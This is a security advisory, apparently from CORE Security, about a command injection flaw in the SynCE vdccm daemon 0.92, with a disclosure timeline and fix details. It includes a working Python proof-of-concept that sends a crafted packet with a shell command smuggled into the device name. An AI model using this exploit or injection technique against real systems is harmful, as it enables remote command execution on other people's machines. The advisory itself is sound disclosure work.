[NT] SynCE Command Injection

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SynCE Command Injection
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SUMMARY

<http://www.synce.org/> SynCE is "an open source project, whose objective
is to provide a way of communicating with a Windows CE or Pocket PC
device, from a computer running Linux, *BSD or other unices". A
vulnerability in SynCE allows attackers to inject arbitrary commands this
is due to the vdccm daemon not properly sanitizing certain input before
using it to invoke external scripts. This can be exploited to execute
arbitrary commands with the privileges of the vdccm daemon by sending
specially crafted requests.

DETAILS

Vulnerable Systems:
* Synce-dccm version 0.92

Immune Systems:
* Synce-dccm version 0.91 and earlier
* Synce-dccm version 0.10.1

Technical Description / Proof of Concept Code
The vdccm daemon listens on port 5679 for incoming connections from a
Windows CE device. The command injection exist on the name of the
connected device. The code at src/utils.cpp, function Utils::runScripts
contains the following code:

string command = string(path) + " " + action + " " + deviceName;
system(command.c_str());

The contents of the string variable "deviceName" is controlled by the
attacker.

Exploit:
The next python proof of concept script will remotely create an empty file
named "/tmp/vulnerability" when used on a FreeBSD host running the
vulnerable daemon.

import socket, struct
import time
def AtoWChar(string):
return ''.join([x+chr(0) for x in string])

HOST = '192.168.XXX.XXX'
PORT = 5679
c= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((HOST, PORT))
buf="\x00"*0x18
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+="\x00"*12
string=AtoWChar("&/usr/bin/touch /tmp/vulnerability")
buf+=string+"\x00\x00"+"\x00"*12
c.send(struct.pack("L",63+len(string))+buf+"\x00" )

NOTE: for this proof of concept to work, a script file is needed on the
"$home$/.synce/scripts" directory. Some linux distributions ship with
scripts on this directory by default.

Report Timeline
2007-11-12: Core notifies the SynCE team of the vulnerability.
2007-11-13: Technical details sent by Core to SynCE team.
2007-11-22: SynCE notifies Core that a fix has been produced, and will be
released in the next SynCE official release.
2007-12-20: SynCE releases version 0.10.1, which fixes this vulnerability.
2008-01-07: CORE-2007-1106 advisory is published.

References
<http://synce.sourceforge.net/synce/dccm.php>

http://synce.sourceforge.net/synce/dccm.php

<http://synce.sourceforge.net/synce/architecture.php>

http://synce.sourceforge.net/synce/architecture.php

Vendor Information, Solutions and Workarounds
This vulnerability has been fixed in SynCE-dccm 0.10.1, available at
<http://sourceforge.net/projects/synce/>

http://sourceforge.net/projects/synce/.

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@coresecurity.com>
CORE Security Technologies Advisories.
The original article can be found at:
<http://www.coresecurity.com/?action=item&id=2070>

http://www.coresecurity.com/?action=item&id=2070

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